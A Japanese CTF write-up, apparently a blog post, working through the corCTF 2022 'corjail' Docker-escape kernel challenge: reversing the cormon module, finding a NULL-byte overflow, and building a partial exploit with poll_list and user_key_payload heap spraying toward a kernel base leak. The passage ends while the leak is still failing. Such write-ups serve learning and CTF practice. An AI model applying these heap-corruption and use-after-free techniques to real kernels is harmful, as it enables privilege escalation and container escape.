イントロ
いちにょっき、ににょっき、さんにょっき!!こんにちは、ニートです。 最近は少しフロント周りを触っていたということで、となると反動でpwnがやりたくなる季節ですね。とはいっても今週からまた新しいインターンに行くことになっているので、様々な環境の変化に正気を保つのがギリギリな今日この頃。というわけで、今日は更に初めての経験をするべくdocker escape pwn問題を解いていきましょう。 解くのはcorCTF 2022のcorjailという問題。確か前回のエントリでもcorCTFの問題を解いた気がするのですが、このCTFの問題はかなり好きです。初めてのdocker escape問題ということで、解いてる時に詰まったところや失敗したところ等も含めて書き連ねていこうと思います。まぁ詰まったところと言ってもwriteupをカンニングしたんですけどね。ただ、これは気をつけていることと言うかpwnのwriteupを先に見る時にいつもやることですが、writeupは薄目で見るようにしています。細かいexploit内容は読まずに、keyword的なものだけピックアップして、それらをどう使うかは自分でちゃんと考えるみたいな。カンニングするにしても、最初っから全部見ちゃうとおもしろみがなくなっちゃうので。このエントリでは、色々試行錯誤したり詰まったところも含めたデバッグ風景も一緒に書いていこうと思います。
devenv setup
まずはGitHub
から問題をcloneしてきます。
配布ファイルがたくさんあるので、5分ほどuouoしましょう。
続いてbuild_kernel.sh
でKernelイメージをビルドします(スクリプト中だとシングルコアでビルドすることになっていて永遠に終わらないため、適宜修正しましょう)。
なんか途中でSSL周りのエラーが出るため、MODULES_SIG_ALL
らへんを無効化してしまいましょう。
続いて、build_image.sh
でゲストファイルシステムを作成します。一応いろいろなことをしているので、evilなことをされないか自分でスクリプトの中身を見ましょう。作成されるファイルはbuild/corors/coros.qcow2
です。QCOW形式のファイルは、以下の感じでmount/umountできます:
1### mount.bash
2#!/bin/bash
3set -eu
4
5MNTPOINT=/tmp/hoge
6QCOW=$(realpath "${PWD}"/../build/coros/coros.qcow2)
7
8sudo modprobe nbd max_part=8
9mkdir -p $MNTPOINT
10sudo qemu-nbd --connect=/dev/nbd0 "$QCOW"
11sudo fdisk -l /dev/nbd0
12sudo mount /dev/nbd0 $MNTPOINT
13
14### umount.bash
15#!/bin/bash
16
17set -eu
18MNTPOINT=/tmp/hoge
19
20sudo umount $MNTPOINT || true
21sudo qemu-nbd --disconnect /dev/nbd0
22sudo rmmod nbd
さて、最初に起動フローを把握しておきます。上のスクリプトでマウントされたファイルシステムを見ると、/etc/inittab
は以下の感じです。
1T0:23:respawn:/sbin/getty -L ttyS0 115200 vt100
普通ですね。続いて/etc/init.d/docker
あたりにdockerデーモンのサービススクリプトがありますが、これもまあ普通なので割愛。/etc/systemd/system/init.service
には以下のようにサービスが登録されています:
1[Unit]
2Description=Initialize challenge
3
4[Service]
5Type=oneshot
6ExecStart=/usr/local/bin/init
7
8[Install]
9WantedBy=multi-user.target
ExecStart
である/usr/local/bin/init
はこんな感じ:
1#!/bin/bash
2
3USER=user
4
5FLAG=$(head -n 100 /dev/urandom | sha512sum | awk '{printf $1}')
6
7useradd --create-home --shell /bin/bash $USER
8
9echo "export PS1='\[\033[01;31m\]\u@CoROS\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]# '" >> /root/.bashrc
10echo "export PS1='\[\033[01;35m\]\u@CoROS\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]\$ '" >> /home/$USER/.bashrc
11
12chmod -r 0700 /home/$USER
13
14mv /root/temp /root/$FLAG
15chmod 0400 /root/$FLAG
新しいユーザ(user
)を作って、PS1をイかした感じにして、flag
をroot onlyにしているくらいです。続いて、/etc/passwd
はこんな感じ:
1root:x:0:0:root:/root:/usr/local/bin/jail
2daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
3(snipped...)
root
のログインシェルが/usr/local/bin/jail
になっています:
1#!/bin/bash
2
3echo -e '[\033[5m\e[1;33m!\e[0m] Spawning a shell in a CoRJail...'
4/usr/bin/docker run -it --user user --hostname CoRJail --security-opt seccomp=/etc/docker/corjail.json -v /proc/cormon:/proc_rw/cormon:rw corcontainer
5/usr/sbin/poweroff -f
user
としてdockerを起動したあと、poweroff
をしていますね。ここがメインの処理みたいです。--security-opt seccomp=/etc/docker/corjail.json
を指定していますが、seccomp filterの内容は後ほど見ていくことにします。/proc/cormon
という謎のproc fsもバインドマウントしていますが、これも後ほど見ていくことにします。
というわけで、ゲストOSのroot(not on docker)を触りたいときには、/etc/passwd
のログインシェルを/bin/bash
あたりにしておけばいいことがわかりました。rootでdocker images
してみると、以下の感じ:
1root@CoROS:~# docker images
2REPOSITORY TAG IMAGE ID CREATED SIZE
3corcontainer latest 8279763e02ce 2 months ago 84.7MB
4debian bullseye-slim c9cb6c086ef7 3 months ago 80.4MB
先程jail
の中でも指定されていたcorcontainer
がありますね。これはどうやってつくられたのでしょう。build_image.sh
を見てみると、以下の記述があります:
1tar -xzvf coros/files/docker/image/image.tar.gz -C coros/files/docker
2cp -rp coros/files/docker/var/lib/docker $FS/var/lib/
3rm -rf coros/files/docker/var
Docker imageは予め作られたものを使っているようです。デバッグ時には常に最新のexploitをguest OSのdockerコンテナ上に置いておきたいので、/usr/local/bin/jail
を以下のように変更しておきましょう:
1#!/bin/bash
2
3echo -e '[\033[5m\e[1;33m!\e[0m] Spawning a shell in a CoRJail...'
4cp /exploit /home/user || echo "[!] exploit not found, skipping"
5chown -R user:user /home/user
6echo 0 > /proc/sys/kernel/kptr_restrict
7/usr/bin/docker run -it --user root \
8 --hostname CoRJail \
9 --security-opt seccomp=/etc/docker/corjail.json \
10 --add-cap CAP_SYSLOG \
11 -v /proc/cormon:/proc_rw/cormon:rw \
12 -v /home/user/:/home/user/host \
13 corcontainer
14/usr/sbin/poweroff -f
あとはexploit
をguestのファイルシステムにおいておけば、勝手にコンテナ内の/home/user/exploit
に配置されて便利ですね。ついでにCAP_SYSLOG
を与えることで/proc/kallsysm
を見れるようにしています。
因みに諸々のめんどくさいことは、lysithea
が全部面倒見てくれるので、最初のセットアップを除くと実際には以下のコマンドを打つだけです:
1lysithea init # first time only
2lysithea extract # first time only
3lysithea local
static analysis
misc
lysithea曰く:
lysithea.bash 1root@CoRJail:/home/user/host# ./drothea --verbose
2Drothea v1.0.0
3[.] kernel version:
4 Linux version 5.10.127 (root@VPS) (gcc (Debian 8.3.0-6) 8.3.0, GNU ld (GNU Binutils for Debian) 2.31.1) #2 SMP Thu January 1 00:00:00 UTC 2030
5[-] CONFIG_KALLSYMS_ALL is enabled.
6[!] unprivileged ebpf installation is enabled.
7cat: /proc/sys/vm/unprivileged_userfaultfd: No such file or directory
8[-] unprivileged userfaultfd is disabled.
9[?] KASLR seems enabled. Should turn off for debug purpose.
10[?] kptr seems restricted. Should try 'echo 0 > /proc/sys/kernel/kptr_restrict' in init script.
11root@CoRJail:/home/user/host# ./ingrid --verbose
12Ingrid v1.0.0
13[-] userfualtfd is disabled.
14[-] CONFIG_DEVMEM is disabled.
基本的セキュリティ機構は全部有効です。さて、kernelのビルドスクリプト(build_kernel.sh
を読むと、以下のようなパッチがあたっています:
1diff -ruN a/arch/x86/entry/syscall_64.c b/arch/x86/entry/syscall_64.c
2--- a/arch/x86/entry/syscall_64.c 2022-06-29 08:59:54.000000000 +0200
3+++ b/arch/x86/entry/syscall_64.c 2022-07-02 12:34:11.237778657 +0200
4@@ -17,6 +17,9 @@
5
6 #define __SYSCALL_64(nr, sym) [nr] = __x64_##sym,
7
8+DEFINE_PER_CPU(u64 [NR_syscalls], __per_cpu_syscall_count);
9+EXPORT_PER_CPU_SYMBOL(__per_cpu_syscall_count);
10+
11 asmlinkage const sys_call_ptr_t sys_call_table[__NR_syscall_max+1] = {
12 /*
13 * Smells like a compiler bug -- it doesn't work
14diff -ruN a/arch/x86/include/asm/syscall_wrapper.h b/arch/x86/include/asm/syscall_wrapper.h
15--- a/arch/x86/include/asm/syscall_wrapper.h 2022-06-29 08:59:54.000000000 +0200
16+++ b/arch/x86/include/asm/syscall_wrapper.h 2022-07-02 12:34:11.237778657 +0200
17@@ -219,9 +220,41 @@
18
19 #define SYSCALL_DEFINE_MAXARGS 6
20
21-#define SYSCALL_DEFINEx(x, sname, ...) \
22- SYSCALL_METADATA(sname, x, __VA_ARGS__) \
23- __SYSCALL_DEFINEx(x, sname, __VA_ARGS__)
24+DECLARE_PER_CPU(u64[], __per_cpu_syscall_count);
25+
26+#define SYSCALL_COUNT_DECLAREx(sname, x, ...) \
27+ static inline long __count_sys##sname(__MAP(x, __SC_DECL, __VA_ARGS__));
28+
29+#define __SYSCALL_COUNT(syscall_nr) \
30+ this_cpu_inc(__per_cpu_syscall_count[(syscall_nr)])
31+
32+#define SYSCALL_COUNT_FUNCx(sname, x, ...) \
33+ { \
34+ __SYSCALL_COUNT(__syscall_meta_##sname.syscall_nr); \
35+ return __count_sys##sname(__MAP(x, __SC_CAST, __VA_ARGS__)); \
36+ } \
37+ static inline long __count_sys##sname(__MAP(x, __SC_DECL, __VA_ARGS__))
38+
39+#define SYSCALL_COUNT_DECLARE0(sname) \
40+ static inline long __count_sys_##sname(void);
41+
42+#define SYSCALL_COUNT_FUNC0(sname) \
43+ { \
44+ __SYSCALL_COUNT(__syscall_meta__##sname.syscall_nr); \
45+ return __count_sys_##sname(); \
46+ } \
47+ static inline long __count_sys_##sname(void)
48+
49+#define SYSCALL_DEFINEx(x, sname, ...) \
50+ SYSCALL_METADATA(sname, x, __VA_ARGS__) \
51+ SYSCALL_COUNT_DECLAREx(sname, x, __VA_ARGS__) \
52+ __SYSCALL_DEFINEx(x, sname, __VA_ARGS__) \
53+ SYSCALL_COUNT_FUNCx(sname, x, __VA_ARGS__)
54+
55+#define SYSCALL_DEFINE0(sname) \
56+ SYSCALL_COUNT_DECLARE0(sname) \
57+ __SYSCALL_DEFINE0(sname) \
58+ SYSCALL_COUNT_FUNC0(sname)
59
60(snpped...)
これはprocfsにsyscallのanalyticsを追加するパッチ
みたいです。パッチからもわかるように、各CPUに__per_cpu_syscall_count
という変数が追加され、syscallの呼び出し回数を記録するようになっています。
module analysis (rev)
続いて、本問題のメインであるカーネルモジュール(cormon.ko
)を見ていきます。そして気づく、ソースコードが配布されてない!!!きっとおっちょこちょいでソースを配布し忘れてしまったんでしょう。仕方がないのでGhidraで見ていきましょう。デコンパイルして適当に見やすく整形するとこんな感じ:
1char *initial_filter = "sys_execve,sys_execveat,sys_fork,sys_keyctl,sys_msgget,sys_msgrcv,sys_msgsnd,sys_poll,sys_ptrace,sys_setxattr,sys_unshare";
2
3struct proc_ops cormon_proc_ops = {
4 .proc_open = cormon_proc_open,
5 .proc_write = cormon_proc_write,
6 .proc_read = seq_read,
7};
8
9struct seq_operations cormon_seq_ops = {
10 .start = cormon_seq_start,
11 .stop = cormon_seq_stop,
12 .next = cormon_seq_next,
13 .show = cormon_seq_show,
14};
15
16int init_module(void) {
17 printk("6[CoRMon::Init] Initializing module...\n");
18 if (proc_create("cormon", 0x1B5, 0, cormon_proc_ops) != 0) {
19 return -0xC;
20 }
21 if (update_filter(initial_filter) != 0) {
22 return -0x16;
23 }
24
25 printk("3[CoRMon::Error] proc_create() call failed!\n");
26 return 0;
27}
28
29void cormon_proc_open(struct *inode inode, struct file *fp) {
30 seq_open(fp, cormon_seq_ops);
31 return;
32}
33
34ssize_t cormon_proc_write(struct file *fp, const char __user *ubuf, size_t size, loff_t *offset) {
35 size_t sz;
36 char *heap;
37 if (*offset < 0) return 0xffffffffffffffea;
38 if (*offset < 0x1000 && size != 0) {
39 if (0x1000 < size) sz = 0xFFF;
40 heap = kmem_cache_alloc_trace(?, 0xA20, 0x1000);
41 printk("6[CoRMon::Debug] Syscalls @ %#llx\n");
42 if (heap == NULL) {
43 printk("3[CoRMon::Error] kmalloc() call failed!\n");
44 return 0xfffffffffffffff4;
45 }
46 if (copy_from_user(heap, ubuf, sz) != 0) {
47 printk("3[CoRMon::Error] copy_from_user() call failed!\n");
48 return 0xfffffffffffffff2;
49 }
50 heap[sz] = NULL;
51 if (update_filter(heap)) {
52 kfree(heap);
53 } else {
54 kfree(heap);
55 return 0xffffffffffffffea;
56 }
57 }
58 return 0;
59}
60
61long update_filter(char *syscall_str) {
62 char *syscall;
63 int syscall_nr;
64 char syscall_list[?] = {0};
65
66 while(syscall = strsep(syscall, ",") && syscall != NULL && syscall_str != NULL) {
67 if((syscall_nr = get_syscall_nr(syscall)) < 0) {
68 printk("3[CoRMon::Error] Invalid syscall: %s!\n", syscall);
69 return 0xffffffea;
70 }
71 syscall_list[syscall_nr] = 1;
72 }
73
74 memcpy(filter, syscall_list, 0x37 * 8);
75}
76
77int cormon_seq_show(struct seq_file *sfp, void *vp) {
78 ulong v = *vp;
79 if (v == 0) {
80 int n = -1;
81 seq_putc(sfp, 0xA);
82 while((n = cpumask_next(n, &__cpu_online_mask)) < _nr_cpu_ids) { // for_each_cpu macro?
83 seq_printf(sfp, "%9s%d", "CPU", n);
84 }
85 seq_printf(sfp, "\tSyscall (NR)\n\n");
86 }
87
88 if (filtter[v] != 0) {
89 if((name = get_syscall_name(v)) == 0) return 0;
90 int n = -1;
91 while((n = cpumask_next(n, &__cpu_online_mask)) < _nr_cpu_ids) {
92 seq_printf(sfp, "%10sllu", "CPU", __per_cpu_syscall_count[v]); // PER_CPU macro?
93 }
94 seq_printf(sfp, "\t%s (%lld)\n", name, v);
95 }
96 if (v == 0x1B9) seq_putc(sfp, 0xA);
97
98 return 0;
99}
100
101void* cormon_seq_next(struct seq_file *fp, void *v, loff_t *pos_p) {
102 loff_t pos = *pos_p;
103 *pos_p++;
104 if (pos < 0x1BA) return pos_p;
105 return 0;
106}
107
108void* cormon_seq_stop(struct seq_file *fp, void *v) {
109 return NULL;
110}
111
112void* cormon_seq_start(struct seq_file *fp, loff_t *pos_p) {
113 if (*pos_p < 0x1BA) return pos_p;
114 else return 0;
115}
まぁ内容は簡単なのでrev自体はそんなに難しくないです。
やっていることとしては、上述のpatchによって導入されたPERCPUな変数__per_cpu_syscall_count
を表示するインタフェースを作っています。このカウンタはpatchされたsyscallの先頭において__SYSCALL_COUNT()
でインクリメントされます。このインクリメントは、モジュール内のfilter
には関係なく全てのsyscallに対して行われます。cormon
モジュールは、proc
に生やしたファイルをread
することでfilter
が有効になっているsyscallの統計結果だけを表示しているようにしており、また書き込みを行うことでfilter
の値を更新することができるように成っています。update_filter()
を見るとわかるように、更新方法は/proc_rw/cormon
にsyscallの名前をカンマ区切りで書き込みます(Dockerの起動時に-v /proc/cormon:/proc_rw/cormon:rw
としてホストのデバイスファイルをゲストにRWでバインドマウントしています)。
実際に使ってみるとこんな感じ:
seccomp
seccomp.json
(のちにcorjail.json
としてVM内にコピーされる)には、以下のようにdefaultAction: SCMP_ACT_ERRNO
でフィルターが設定されています:
1{
2 "defaultAction": "SCMP_ACT_ERRNO",
3 "defaultErrnoRet": 1,
4 "syscalls": [
5 {
6 "names": [ "_llseek", "_newselect", (snipped...)],
7 "action": "SCMP_ACT_ALLOW"
8 },
9 {
10 "names": [ "clone" ],
11 "action": "SCMP_ACT_ALLOW",
12 "args": [ { "index": 0, "value": 2114060288, "op": "SCMP_CMP_MASKED_EQ" } ]
13 }
14 ]
15}
許可されていないsyscallは、おおよそ以下のとおりです(雑に比較したので多少ずれはあるかも):
disallowed.txt 1msgget
2msgsnd
3msgrcv
4msgctl
5ptrace
6syslog
7uselib
8personality
9ustat
10sysfs
11vhangup
12pivot_root
13_sysctl
14chroot
15acct
16settimeofday
17mount
18umount2
19swapon
20swapoff
21reboot
22sethostname
23setdomainname
24iopl
25ioperm
26create_module
27init_module
28delete_module
29get_kernel_syms
30query_module
31quotactl
32nfsservctl
33getpmsg
34putpmsg
35afs_syscall
36tuxcall
37security
38lookup_dcookie
39clock_settime
40vserver
41mbind
42set_mempolicy
43get_mempolicy
44mq_open
45mq_unlink
46mq_timedsend
47mq_timedreceive
48mq_notify
49mq_getsetattr
50kexec_load
51request_key
52migrate_pages
53unshare
54move_pages
55perf_event_open
56fanotify_init
57name_to_handle_at
58open_by_handle_at
59setns
60process_vm_readv
61process_vm_writev
62kcmp
63finit_module
64kexec_file_load
65bpf
66userfaultfd
67pkey_mprotect
68pkey_alloc
69pkey_free
unshare, mount, msgget, msgsnd, userfaultfd, bpf
らへんが禁止されていますね。
ちなみに、Ubuntu22.04環境でpthreadを含めてstatic buildしたバイナリをコンテナ上で動かそうとしたところ、Operation not permitted
になりました。Dockerには多分seccompでひっかかったsyscallのレポート機能がない
ため、手動と勘で問題になっているsyscallを探したところ、clone3
syscallが問題になっているようでした。よって、seccomp.json
に以下のようなパッチを当てました(writeupを見た感じ、pthreadの使用は意図しているため、pthreadを含む環境の違いっぽい?):
1--- a/../build/coros/files/docker/seccomp.json
2+++ b/./seccomp.json
3@@ -10,6 +10,10 @@
4 "names": [ "clone" ],
5 "action": "SCMP_ACT_ALLOW",
6 "args": [ { "index": 0, "value": 2114060288, "op": "SCMP_CMP_MASKED_EQ" } ]
7+ },
8+ {
9+ "names": [ "clone3" ],
10+ "action": "SCMP_ACT_ALLOW"
11 }
12 ]
13 }
Vuln: NULL-byte overflow
バグはGhidraのデコンパイル結果を見ると明らかです。
common_proc_write()
ではユーザから渡されたsyscallの文字列をheap
(kmalloc-4k)にコピーしています。その後、heap
の最後をNULL終端しようとしていますが、size
が0x1000
の時にNULL-byte overflowするようになっています:
1common_proc_write() {
2 if (0x1000 < size) sz = 0xFFF;
3 if (copy_from_user(heap, ubuf, sz) != 0) {...}
4 ...
5 heap[sz] = NULL;
6 ...
7}
使われるスラブキャッシュはkmalloc-4k
です。コレ
とかを見ると、まぁ使えそうな構造体はあるように思えますが、今回はseccompでフィルターされているため1K以上のキャッシュで使える構造体はこのリストには見当たりません。最近のkernelpwn追ってないしここでお手上げに成ったので、writeupをカンニングしました、チート最高!
pre-requisites
sys_poll
sys_poll()
が使えるらしい。ソースはこんな感じ(余計なところは省略している):
1#define FRONTEND_STACK_ALLOC 256
2#define POLL_STACK_ALLOC FRONTEND_STACK_ALLOC
3#define N_STACK_PPS ((sizeof(stack_pps) - sizeof(struct poll_list)) / \
4 sizeof(struct pollfd))
5#define POLLFD_PER_PAGE ((PAGE_SIZE-sizeof(struct poll_list)) / sizeof(struct pollfd))
6struct pollfd {
7 int fd;
8 short events;
9 short revents;
10}; /* size: 8, cachelines: 1, members: 3 */
11struct poll_list {
12 struct poll_list *next;
13 int len;
14 struct pollfd entries[];
15}; /* size: 16, cachelines: 1, members: 3 */
16
17static int do_sys_poll(struct pollfd __user *ufds, unsigned int nfds,
18 struct timespec64 *end_time)
19{
20 struct poll_wqueues table;
21 long stack_pps[POLL_STACK_ALLOC/sizeof(long)];
22 struct poll_list *const head = (struct poll_list *)stack_pps;
23 struct poll_list *walk = head;
24
25 len = min_t(unsigned int, nfds, N_STACK_PPS);
26 for (;;) {
27 walk->next = NULL;
28 walk->len = len;
29 if (!len)
30 break;
31
32 if (copy_from_user(walk->entries, ufds + nfds-todo,
33 sizeof(struct pollfd) * walk->len))
34 goto out_fds;
35
36 todo -= walk->len;
37 if (!todo)
38 break;
39
40 len = min(todo, POLLFD_PER_PAGE);
41 walk = walk->next = kmalloc(struct_size(walk, entries, len),
42 GFP_KERNEL);
43 if (!walk) {
44 err = -ENOMEM;
45 goto out_fds;
46 }
47 }
48
49 fdcount = do_poll(head, &table, end_time);
50
51 err = fdcount;
52out_fds:
53 walk = head->next;
54 while (walk) {
55 struct poll_list *pos = walk;
56 walk = walk->next;
57 kfree(pos);
58 }
59
60 return err;
61}
まずユーザランドから渡されたpollfd
リストをスタック上のstack_pps
に最大256byte分コピーします。厳密には、next, len
メンバ分の16byteを除いた240byte分(つまりstruct pollfd
の30個分)をスタック上にコピーします。もしそれ以上のufds
が渡された場合には、次は最大でPOLLFD_PER_PAGE ((4096-16)/8 == 510)
個数分だけkmalloc()
してコピーします。つまり、使われるスラブキャッシュはkmalloc-32 ~ kmalloc-4kのどれか(next, len
の分があるためkmalloc-16以下には入らない)です。こうして、256byteのstackと、32~4Kのheapにstruct poll_list
とpollfd
をコピーしたあと、それらをnext
ポインタで繋いでリストを作っています。freeは、リストの先頭から順にkfree
で単純に解放してます。
なるほど、たしかにこの構造体はkmalloc-32~4kの任意のサイズのキャッシュへのポインタを持つことができて、且つfreeはタイマーでも任意のタイミングでもできるため便利そう。
前述のNULL-byte overflowを使ってstruct pollfd
のnext
をpartial overwriteすることで、そのスラブに入っているオブジェクトをUAF(read)できそうです。問題は、msgXXX
系のsyscallがフィルターされている状況で、どの構造体を使ってreadするか。
add_key
/ keyctl
syscall
まぁ勿論カンニングしたんですが。add_key
というシステムコールがあるらしい。知らんがな。そういえば、seccompのフィルターを見るとデフォルトの設定
では許可されていないのにこの問題では許可されています。ソースはこんな感じ:
1// security/keys/user_defined.c
2struct key_type key_type_user = {
3 .name = "user",
4 .preparse = user_preparse,
5 .free_preparse = user_free_preparse,
6 .instantiate = generic_key_instantiate,
7 .update = user_update,
8 .revoke = user_revoke,
9 .destroy = user_destroy,
10 .describe = user_describe,
11 .read = user_read,
12};
13int user_preparse(struct key_preparsed_payload *prep)
14{
15 struct user_key_payload *upayload;
16 size_t datalen = prep->datalen;
17
18 if (datalen <= 0 || datalen > 32767 || !prep->data)
19 return -EINVAL;
20
21 upayload = kmalloc(sizeof(*upayload) + datalen, GFP_KERNEL);
22 ...
23}
24
25// security/keys/keyctl.c
26SYSCALL_DEFINE5(add_key, const char __user *, _type,
27 const char __user *, _description, const void __user *, _payload,
28 size_t, plen, key_serial_t, ringid)
29{
30 key_ref_t keyring_ref, key_ref;
31 char type[32], *description;
32 void *payload;
33 long ret;
34
35 /* draw all the data into kernel space */
36 ret = key_get_type_from_user(type, _type, sizeof(type));
37 description = NULL;
38 if (_description) {...}
39
40 /* pull the payload in if one was supplied */
41 payload = NULL;
42
43 if (plen) {
44 ...
45 if (copy_from_user(payload, _payload, plen) != 0)
46 goto error3;
47 }
48
49 keyring_ref = lookup_user_key(ringid, KEY_LOOKUP_CREATE, KEY_NEED_WRITE);
50 key_ref = key_create_or_update(keyring_ref, type, description,
51 payload, plen, KEY_PERM_UNDEF, KEY_ALLOC_IN_QUOTA);
52 ...
53}
54
55// security/keys/key.c
56key_ref_t key_create_or_update(key_ref_t keyring_ref,
57 const char *type,
58 const char *description,
59 const void *payload,
60 size_t plen,
61 key_perm_t perm,
62 unsigned long flags)
63{
64 struct keyring_index_key index_key = {
65 .description = description,
66 };
67 struct key_preparsed_payload prep;
68
69 index_key.type = key_type_lookup(type);
70 memset(&prep, 0, sizeof(prep));
71 ...
72 if (index_key.type->preparse) {
73 ret = index_key.type->preparse(&prep);
74 ...
75 }
76 ...
77 ret = __key_instantiate_and_link(key, &prep, keyring, NULL, &edit);
78 ...
79}
はい。manpage
によると、keyring
, user
, logon
, bigkey
という4種類の鍵があります。そしてそのそれぞれについてfopsみたいなstruct key_type
構造体が結びついています。このハンドラの中の、ユーザ入力ペイロードをパースする関数である.preparse
は、user
タイプの場合user_preparse()
関数に成っています。user_preparse()
は、user_key_payload
構造体をkmalloc
します。この構造体はこれまた可変サイズを持ち、最大sizeof(struct user_key_payload) + 32767
までの任意のサイズをユーザ指定で確保することができます。解放も、ユーザが任意のタイミングで行うことができます(keyctl_revoke
)。読むこと
も、できます。素晴らしい構造体ですね、全くどうやってこんなもんを見つけてくるのやら。おまけに、特筆すべきこととして最初のメンバであるrcu
は初期化されるまではもとの値が保たれるみたいです。ふぅ。
kbase leak via user_key_payload
and seq_operations
さて、これらの材料を使うとkernbaseがリークできそうです。細かい事は無視して大枠だけ考えます。
事前準備として、add_key
を呼び出してstruct user_key_payload
をkmalloc-32
に置いておきます。続いて、poll
を542個(stackに置かれる30個 + kmalloc-4kに置かれる510個 + kmalloc-32に置かれる2個)のfdに対して呼び出します。そうすると、stack --> kmalloc-4k --> kmalloc-32
の順にstruct poll_list
のリストが繋がれます。続いて、モジュールのプロックファイルに書き込むことでcormon_proc_write()
を呼び出してNULL-byte overflowさせます。このときバッファはkmalloc-4k
にとられるため、うまく行くと先程のpoll_list.next
ポインタの最後1byteがpartial overwriteされます。そして、そのアドレスがうまい具合だと、書き換えたあとのポインタが一番最初に準備したuser_key_payload
を指すことになります。続いてpoll_list
をfreeさせる(これはtimer expireでも、イベントを発生させるのでもどちらでもOK)ことで、リストにつながっているuser_key_payload
をfreeします。これでuser_key_payload
のUAF完成です。kbaseを読むためにseq_operations
らへんを確保して、user_key_payload
の上に配置します。あとはkeyctl_read
でペイロードを読むことで、kbaseをleakできます。
というようにシナリオだけ文面で考えると簡単そうですが、「うまくいくと」と書いたところをうまくさせないといけませんね。まぁスプレーでなんとかなるでしょう。
さて、順を追ってやっていきましょう。まずはadd_key()
でkmalloc-32に鍵を置きます。なお、add_key
syscallに対するglibc wrapperはないため、libkeyutils-dev
等のパッケージをインストールしたあと、-lkeyutils
を指定してビルドする必要があります。
雑にkeyをスプレーします:
1void spray_keys() {
2 char *desc = calloc(0x100, 1);
3 if (desc <= 0) errExit("spray_keys malloc");
4 strcpy(desc, DESC_KEY_TOBE_OVERWRITTEN_SEQOPS);
5
6 for (int ix = 0; ix != NUM_KEY_SPRAY; ++ix) {
7 memcpy(desc + strlen(DESC_KEY_TOBE_OVERWRITTEN_SEQOPS), &ix, 4);
8 char *key_payload = malloc(SIZE_KEY_TOBE_OVERWRITTEN_SEQOPS);
9 memset(key_payload, 'A', SIZE_KEY_TOBE_OVERWRITTEN_SEQOPS);
10 key_serial_t keyid0 = add_key("user", desc, key_payload, SIZE_KEY_TOBE_OVERWRITTEN_SEQOPS, KEY_SPEC_PROCESS_KEYRING);
11 if (keyid0 < 0) errExit("add_key 0");
12 }
13}
すると、以下のようにヒープの中にそれらしい箇所が見つかります(pt -ss AAAAAAAA -align 8
)。きっとコレがkmalloc-32
でしょう。needleとして仕込んだAAAAAAAA
というペイロードと、その直前がshortの0x08
(ushort datalen
)であることからもわかります:
ところで、user_key_payload
が連続していないことが見て取れますね。きっと、CONFIG_SLAB_FREELIST_RANDOMIZE
らへんが有効化されているのでしょう。
続いて、poll_list
をkmalloc-4k
とkmalloc-32
にスプレーしていきます。
1 assign_to_core(0);
2 for (int ix = 0; ix != NUM_POLLLIST_ALLOC; ++ix) {
3 if(pthread_create(&threads[ix], NULL, alloc_poll_list, &just_fd) != 0) errExit("pthread_create");
4 }
今回はpollするイベントはPOLLERR
(=0x0008
)で、使ったfd
は0x00000004
なので、バイト列0x0000000400080000
をニードルとして検索できます(pt -sb 08000000040000000800000004000000 -align 16
。まぁ、pt -sb fe01000004000000 -align 8
のほうが良さそう)。ところで、struct poll_list
において、struct pollfd[]
って8byteアラインされないんですね。おかげでpoll_list
がどこにも見つからない…!と発狂する羽目になりました。あ、ところでこのpt
コマンドはgdb-pt-dump
のことです。
さぁさぁ、とりあえずは各構造体が意図したサイズのキャッシュに入っていることが分かりました。 この状態で、一旦NULL-byte overflowさせてみます:
overflow.c1void nullbyte_overflow(void) {
2 assert(cormon_fd >= 2);
3 memset(cormon_buf, 'B', 0x1000 + 0x20);
4 strcpy((char*)cormon_buf + 1, "THIS_IS_CORMON_BUFFER");
5 *cormon_buf = 0x00;
6
7 if(write(cormon_fd, cormon_buf, 0x1000) != -1) errExit("nullbyte_overflow");
8 errno = 0;
9}
うーん、確かに次のページ上のスラブオブジェクトがNULL-byte overflowされている感じはしますが、このオブジェクトは明らかにstruct poll_list
ではありません(.len
メンバが不正)。色々と試してみた結果、struct poll_list
を確保する回数を0x10 -> 0x10-2
回にしたらいい感じになりました。スプレーでは大事、こういう小さい調整:
確かにcormon_proc_write()
で確保されたバッファとstruct poll_list
が隣接し、poll_list.next
の先頭1byteがNULL-byte overflowされていることがわかりますね。因みに、writeupによるとsched_setaffinity()
を使ってどのコアを使うかをコントロールしたほうがいいらしいです。確かにスラブキャッシュはPERCPUだから、そっちのほうが良さそう。頭いいね!
さぁ、ここで重要なことは、overwriteされたnext
ポインタが指す先(0xffff888007617500
)が最初に確保したuser_key_payload
になっているかどうか。且つ、最初のメンバであるuser_key_payload.rcu
がNULLであるかどうかですが…:
完璧ですね。これであとは数秒待ってpoll
をタイムアウトさせることで、poll_list
が先頭から順にfreeされていきます。user_key_payload
もfreeされてしまいます。よって、こいつの上に新しく何らかの構造体を置いてあげましょう。kmalloc-32
に入っていて、且つkptrを含んでいるものなら何でもいいです。今回はseq_operations
を使ってみます:
1 // Check all keys to leak kbase via `seq_operations`
2 char keybuf[0x100] = {0};
3 ulong leaked = 0;
4 for (int ix = 0; ix != NUM_KEY_SPRAY; ++ix) {
5 memset(keybuf, 0, 0x100);
6 if(keyctl_read(keys[ix], keybuf, 0x100) < 0) errExit("keyctl_read");
7 if (strncmp(keybuf, "AAAA", 4) != 0) {
8 leaked = *(ulong*)keybuf;
9 }
10 }
11 if (leaked == 0) {
12 puts("[-] Failed to leak kbase");
13 exit(1);
14 }
15 printf("[!] leaked: 0x%lx\n", leaked);
う〜〜〜ん、panicしているので確実に悪いことはできているのですが上手くleakはできていません。gdbで見てみましょう:
前半がoverflowされたpoll_list
、後半がpoll_list.next
に指されたためにfreeされてuser_key_payload
からseq_operations
になったもの。う〜ん、一見すると良さそうですけどね。とりあえず一番最初にもっとkmalloc-32
を飽和させておいたほうがいいんじゃないかと思い、user_key_payload
をもっとスプレーしようとしたところ、以下のエラーになりました:
詳しくは見ていないけど、鍵はあんまり多くは確保できなさそうなので代わりにseq_operations
でもっとスプレーしておくようにしました。それから、pthread_join()
する度にすぐさまseq_operations
を確保するようにしました。しかしながら、やっぱりkeyctl_read()
でleakできない!!
しばらく悩んだあとkeyctl_read
のmanpageを呼んでみると以下の記述が:
1RETURN VALUE
2 On success keyctl_read() returns the amount of data placed into the buffer. If the buffer was too small, then the size of
3 buffer required will be returned, and the contents of the buffer may have been overwritten in some undefined way.
